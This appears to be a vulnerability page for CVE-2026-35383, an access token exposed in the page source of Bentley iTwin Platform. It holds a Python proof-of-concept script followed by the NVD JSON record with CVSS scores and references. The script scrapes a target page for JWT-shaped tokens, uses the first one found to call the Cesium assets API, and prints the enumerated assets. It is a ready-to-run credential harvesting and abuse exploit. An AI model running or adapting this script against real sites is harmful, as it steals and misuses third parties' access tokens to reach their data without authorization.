CVE-2026-35383

import requests import re def exploit_cve_2026_35383(target_url): """ PoC for CVE-2026-35383: Cesium ion Token Leak This script attempts to find leaked tokens in the page source. """ try: # Step 1: Fetch the target webpage response = requests.get(target_url) if response.status_code != 200: print(f"[-] Failed to retrieve page. Status code: {response.status_code}") return page_source = response.text print("[+] Page source fetched successfully.") # Step 2: Search for Cesium ion access tokens (JWT format) # Cesium tokens typically start with 'eyJ' and contain two dots token_pattern = r'(eyJ[a-zA-Z0-9_-]+\.[a-zA-Z0-9_-]+\.[a-zA-Z0-9_-]+)' tokens = re.findall(token_pattern, page_source) if tokens: print(f"[+] Found {len(tokens)} potential token(s): {tokens[0]}") # Step 3: Verify token validity by attempting to access Cesium API api_endpoint = "https://api.cesium.com/v1/assets" headers = {"Authorization": f"Bearer {tokens[0]}"} api_resp = requests.get(api_endpoint, headers=headers) if api_resp.status_code == 200: print("[+] Token is valid! Successfully enumerated assets.") print(f"[+] Asset Data: {api_resp.json()}") else: print("[-] Token found but could not authenticate with API.") else: print("[-] No Cesium ion tokens found in page source.") except Exception as e: print(f"[-] An error occurred: {str(e)}") if __name__ == "__main__": # Replace with actual target URL target = "https://itwin-platform.example.com/vulnerable-page" exploit_cve_2026_35383(target)

{"cve": {"id": "CVE-2026-35383", "sourceIdentifier": "9119a7d8-5eab-497f-8521-727c672e3725", "published": "2026-04-02T20:16:29.260", "lastModified": "2026-04-03T16:10:23.730", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Bentley Systems iTwin Platform exposed a Cesium ion access token in the source of some web pages. An unauthenticated attacker could use this token to enumerate or delete certain assets. As of 2026-03-27, the token is no longer present in the web pages and cannot be used to enumerate or delete assets."}], "metrics": {"cvssMetricV40": [{"source": "9119a7d8-5eab-497f-8521-727c672e3725", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "9119a7d8-5eab-497f-8521-727c672e3725", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "9119a7d8-5eab-497f-8521-727c672e3725", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-540"}]}], "references": [{"url": "https://cesium.com/learn/ion/cesium-ion-access-tokens/", "source": "9119a7d8-5eab-497f-8521-727c672e3725"}, {"url": "https://raw.githubusercontent.com/cisagov/CSAF/develop/csaf_files/IT/white/2026/va-26-092-01.json", "source": "9119a7d8-5eab-497f-8521-727c672e3725"}, {"url": "https://www.cve.org/CVERecord?id=CVE-2026-35383", "source": "9119a7d8-5eab-497f-8521-727c672e3725"}]}}